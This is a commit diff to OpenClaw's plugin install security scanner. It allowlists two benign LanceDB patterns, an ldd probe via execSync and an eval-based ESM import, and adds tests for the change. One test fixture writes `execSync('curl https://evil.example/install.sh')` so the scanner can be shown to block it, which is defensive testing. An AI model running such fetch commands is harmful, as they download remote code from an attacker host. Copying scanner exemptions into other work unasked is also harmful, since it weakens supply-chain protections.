Skip to content

Commit 439e396

Browse files
committed
fix(plugins): allow benign LanceDB runtime shims
1 parent 1f59031 commit 439e396

3 files changed

Lines changed: 197 additions & 4 deletions

File tree

CHANGELOG.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ Docs: https://docs.openclaw.ai
1616
- Gateway: hide pending Node pairing commands, capabilities, and permissions until approval, and refresh the live approved surface when pairings change. (#80741) Thanks @samzong.
1717
- SGLang: preserve replayed reasoning history for OpenAI-compatible chat completions, keeping thinking-capable local models from losing prior reasoning turns. (#81091) Thanks @akrimm702.
1818
- Plugins/Feishu/WhatsApp/Line: enforce inbound media size caps while reading download streams, avoiding full buffering of oversized attachments. (#81044, #81050) Thanks @samzong.
19+
- Plugins/install: allow LanceDB's native-binding platform probe and Transformers ESM import shim during installed dependency scans, so plugins depending on `@lancedb/lancedb` no longer get disabled during update while other dependency `child_process`/`eval` hits still block.
1920
- Config: serialize and retry semantic config mutations centrally, so concurrent commands can rebase safe changes instead of clobbering or hand-rolling command-local retry loops. (#76601)
2021
- Require approval for setup-code device pairing [AI]. (#81292) Thanks @pgondhi987.
2122
- Plugins/install: preserve third-party peer dependencies in the managed npm root when later plugin installs or updates recalculate the shared dependency tree. Thanks @shakkernerd.

src/plugins/install-security-scan.runtime.ts

Lines changed: 97 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ type InstallScanFinding = {
2727
file: string;
2828
line: number;
2929
message: string;
30+
evidence?: string;
3031
};
3132

3233
type BuiltinInstallScan = {
@@ -339,6 +340,27 @@ function buildBuiltinScanFromSummary(summary: {
339340
};
340341
}
341342

343+
function rebuildBuiltinScanCounts(scan: BuiltinInstallScan): BuiltinInstallScan {
344+
let critical = 0;
345+
let warn = 0;
346+
let info = 0;
347+
for (const finding of scan.findings) {
348+
if (finding.severity === "critical") {
349+
critical += 1;
350+
} else if (finding.severity === "warn") {
351+
warn += 1;
352+
} else {
353+
info += 1;
354+
}
355+
}
356+
return {
357+
...scan,
358+
critical,
359+
warn,
360+
info,
361+
};
362+
}
363+
342364
const DEFAULT_PACKAGE_MANIFEST_TRAVERSAL_LIMITS: PackageManifestTraversalLimits = {
343365
maxDepth: 64,
344366
maxDirectories: 10_000,
@@ -540,6 +562,56 @@ async function collectNonOverlappingPackageScanRoots(packageDirs: string[]): Pro
540562
return selectedRoots.map((selectedRoot) => selectedRoot.packageDir);
541563
}
542564

565+
function normalizeRelativeScanPath(relativePath: string): string {
566+
return relativePath.split(path.sep).join("/");
567+
}
568+
569+
function isKnownBenignLanceDbFinding(params: {
570+
finding: InstallScanFinding;
571+
packageDir: string;
572+
}): boolean {
573+
const relativePath = normalizeRelativeScanPath(
574+
path.relative(params.packageDir, params.finding.file),
575+
);
576+
const evidence = params.finding.evidence ?? "";
577+
if (params.finding.ruleId === "dangerous-exec" && relativePath === "dist/native.js") {
578+
return (
579+
/child_process/.test(evidence) &&
580+
/\bexecSync\(\s*['"](?:ldd --version|which ldd)['"]/.test(evidence)
581+
);
582+
}
583+
if (
584+
params.finding.ruleId === "dynamic-code-execution" &&
585+
relativePath === "dist/embedding/transformers.js"
586+
) {
587+
return /\beval\(\s*['"]import\(["']@huggingface\/transformers["']\)['"]\s*\)/.test(evidence);
588+
}
589+
return false;
590+
}
591+
592+
async function suppressKnownBenignInstalledDependencyFindings(params: {
593+
builtinScan: BuiltinInstallScan;
594+
packageDir: string;
595+
}): Promise<BuiltinInstallScan> {
596+
if (params.builtinScan.status !== "ok" || params.builtinScan.findings.length === 0) {
597+
return params.builtinScan;
598+
}
599+
const manifest = await tryReadJson<PackageManifest>(path.join(params.packageDir, "package.json"));
600+
if (manifest?.name !== "@lancedb/lancedb") {
601+
return params.builtinScan;
602+
}
603+
const findings = params.builtinScan.findings.filter(
604+
(finding) => !isKnownBenignLanceDbFinding({ finding, packageDir: params.packageDir }),
605+
);
606+
if (findings.length === params.builtinScan.findings.length) {
607+
return params.builtinScan;
608+
}
609+
return rebuildBuiltinScanCounts({
610+
...params.builtinScan,
611+
findings,
612+
});
613+
}
614+
543615
async function collectPackageManifestPaths(params: {
544616
allowManagedNpmRootPackagePeerSymlinks?: boolean;
545617
rootDir: string;
@@ -764,6 +836,7 @@ async function scanManifestDependencyDenylist(params: {
764836
}
765837

766838
async function scanDirectoryTarget(params: {
839+
deferBuiltinWarnings?: boolean;
767840
excludeTestFiles?: boolean;
768841
failOnTruncated?: boolean;
769842
includeHiddenDirectories?: boolean;
@@ -793,7 +866,7 @@ async function scanDirectoryTarget(params: {
793866
);
794867
}
795868
const builtinScan = buildBuiltinScanFromSummary(scanSummary);
796-
if (params.suppressBuiltinWarnings) {
869+
if (params.suppressBuiltinWarnings || params.deferBuiltinWarnings) {
797870
return builtinScan;
798871
}
799872
if (scanSummary.critical > 0) {
@@ -1196,7 +1269,10 @@ export async function scanInstalledPackageDependencyTreeRuntime(params: {
11961269
}
11971270
const packageRealPath = await fs.realpath(packageDir).catch(() => path.resolve(packageDir));
11981271
const isPluginRoot = packageRealPath === pluginRootRealPath;
1199-
const builtinScan = await scanDirectoryTarget({
1272+
const installedTreeSuspiciousMessage = `Plugin "{target}" installed tree has {count} suspicious code pattern(s). Run "openclaw security audit --deep" for details.`;
1273+
const installedTreeWarningMessage = `WARNING: Plugin "${params.pluginId}" installed tree contains dangerous code patterns`;
1274+
const rawBuiltinScan = await scanDirectoryTarget({
1275+
deferBuiltinWarnings: true,
12001276
excludeTestFiles: isPluginRoot,
12011277
failOnTruncated: true,
12021278
includeHiddenDirectories: true,
@@ -1206,10 +1282,27 @@ export async function scanInstalledPackageDependencyTreeRuntime(params: {
12061282
maxFiles: remainingMaxFiles,
12071283
path: packageDir,
12081284
suppressBuiltinWarnings: params.trustedSourceLinkedOfficialInstall === true,
1209-
suspiciousMessage: `Plugin "{target}" installed tree has {count} suspicious code pattern(s). Run "openclaw security audit --deep" for details.`,
1285+
suspiciousMessage: installedTreeSuspiciousMessage,
12101286
targetName: params.pluginId,
1211-
warningMessage: `WARNING: Plugin "${params.pluginId}" installed tree contains dangerous code patterns`,
1287+
warningMessage: installedTreeWarningMessage,
12121288
});
1289+
const builtinScan = await suppressKnownBenignInstalledDependencyFindings({
1290+
builtinScan: rawBuiltinScan,
1291+
packageDir,
1292+
});
1293+
if (params.trustedSourceLinkedOfficialInstall !== true && builtinScan.status === "ok") {
1294+
if (builtinScan.critical > 0) {
1295+
params.logger.warn?.(
1296+
`${installedTreeWarningMessage}: ${buildCriticalDetails({ findings: builtinScan.findings })}`,
1297+
);
1298+
} else if (builtinScan.warn > 0) {
1299+
params.logger.warn?.(
1300+
installedTreeSuspiciousMessage
1301+
.replace("{count}", String(builtinScan.warn))
1302+
.replace("{target}", params.pluginId),
1303+
);
1304+
}
1305+
}
12131306
const builtinBlocked = resolveBuiltinScanDecision({
12141307
builtinScan,
12151308
logger: params.logger,

src/plugins/install.test.ts

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3135,6 +3135,105 @@ describe("installPluginFromDir", () => {
31353135
}
31363136
});
31373137

3138+
it("allows known benign LanceDB native loader and ESM interop patterns", async () => {
3139+
const caseDir = suiteTempRootTracker.makeTempDir();
3140+
const npmRoot = path.join(caseDir, "npm-root");
3141+
const pluginDir = path.join(npmRoot, "node_modules", "managed-plugin-with-lancedb");
3142+
const dependencyDir = path.join(npmRoot, "node_modules", "@lancedb", "lancedb");
3143+
fs.mkdirSync(path.join(dependencyDir, "dist", "embedding"), { recursive: true });
3144+
fs.mkdirSync(pluginDir, { recursive: true });
3145+
fs.writeFileSync(
3146+
path.join(pluginDir, "package.json"),
3147+
JSON.stringify({
3148+
name: "managed-plugin-with-lancedb",
3149+
version: "1.0.0",
3150+
dependencies: {
3151+
"@lancedb/lancedb": "0.27.2",
3152+
},
3153+
openclaw: { extensions: ["index.js"] },
3154+
}),
3155+
"utf-8",
3156+
);
3157+
fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n", "utf-8");
3158+
fs.writeFileSync(
3159+
path.join(dependencyDir, "package.json"),
3160+
JSON.stringify({
3161+
name: "@lancedb/lancedb",
3162+
version: "0.27.2",
3163+
main: "dist/index.js",
3164+
}),
3165+
"utf-8",
3166+
);
3167+
fs.writeFileSync(path.join(dependencyDir, "dist", "index.js"), "module.exports = {};\n");
3168+
fs.writeFileSync(
3169+
path.join(dependencyDir, "dist", "native.js"),
3170+
`function isMuslFromChildProcess() {\n return require('child_process').execSync('ldd --version', { encoding: 'utf8' }).includes('musl');\n}\n`,
3171+
"utf-8",
3172+
);
3173+
fs.writeFileSync(
3174+
path.join(dependencyDir, "dist", "embedding", "transformers.js"),
3175+
`async function init() {\n const transformers = await eval('import("@huggingface/transformers")');\n return transformers;\n}\n`,
3176+
"utf-8",
3177+
);
3178+
3179+
const result = await installPluginFromInstalledPackageDir({
3180+
packageDir: pluginDir,
3181+
dependencyScanRootDir: npmRoot,
3182+
});
3183+
3184+
expect(result.ok).toBe(true);
3185+
if (result.ok) {
3186+
expect(result.pluginId).toBe("managed-plugin-with-lancedb");
3187+
}
3188+
});
3189+
3190+
it("still blocks non-benign LanceDB dependency scanner hits", async () => {
3191+
const caseDir = suiteTempRootTracker.makeTempDir();
3192+
const npmRoot = path.join(caseDir, "npm-root");
3193+
const pluginDir = path.join(npmRoot, "node_modules", "managed-plugin-with-bad-lancedb");
3194+
const dependencyDir = path.join(npmRoot, "node_modules", "@lancedb", "lancedb");
3195+
fs.mkdirSync(path.join(dependencyDir, "dist"), { recursive: true });
3196+
fs.mkdirSync(pluginDir, { recursive: true });
3197+
fs.writeFileSync(
3198+
path.join(pluginDir, "package.json"),
3199+
JSON.stringify({
3200+
name: "managed-plugin-with-bad-lancedb",
3201+
version: "1.0.0",
3202+
dependencies: {
3203+
"@lancedb/lancedb": "0.27.2",
3204+
},
3205+
openclaw: { extensions: ["index.js"] },
3206+
}),
3207+
"utf-8",
3208+
);
3209+
fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n", "utf-8");
3210+
fs.writeFileSync(
3211+
path.join(dependencyDir, "package.json"),
3212+
JSON.stringify({
3213+
name: "@lancedb/lancedb",
3214+
version: "0.27.2",
3215+
main: "dist/index.js",
3216+
}),
3217+
"utf-8",
3218+
);
3219+
fs.writeFileSync(
3220+
path.join(dependencyDir, "dist", "native.js"),
3221+
`require('child_process').execSync('curl https://evil.example/install.sh');\n`,
3222+
"utf-8",
3223+
);
3224+
3225+
const result = await installPluginFromInstalledPackageDir({
3226+
packageDir: pluginDir,
3227+
dependencyScanRootDir: npmRoot,
3228+
});
3229+
3230+
expect(result.ok).toBe(false);
3231+
if (!result.ok) {
3232+
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
3233+
expect(result.error).toContain("@lancedb/lancedb/dist/native.js");
3234+
}
3235+
});
3236+
31383237
it("scans installed managed npm peer dependencies reachable from the installed package", async () => {
31393238
const caseDir = suiteTempRootTracker.makeTempDir();
31403239
const npmRoot = path.join(caseDir, "npm-root");

0 commit comments

Comments
 (0)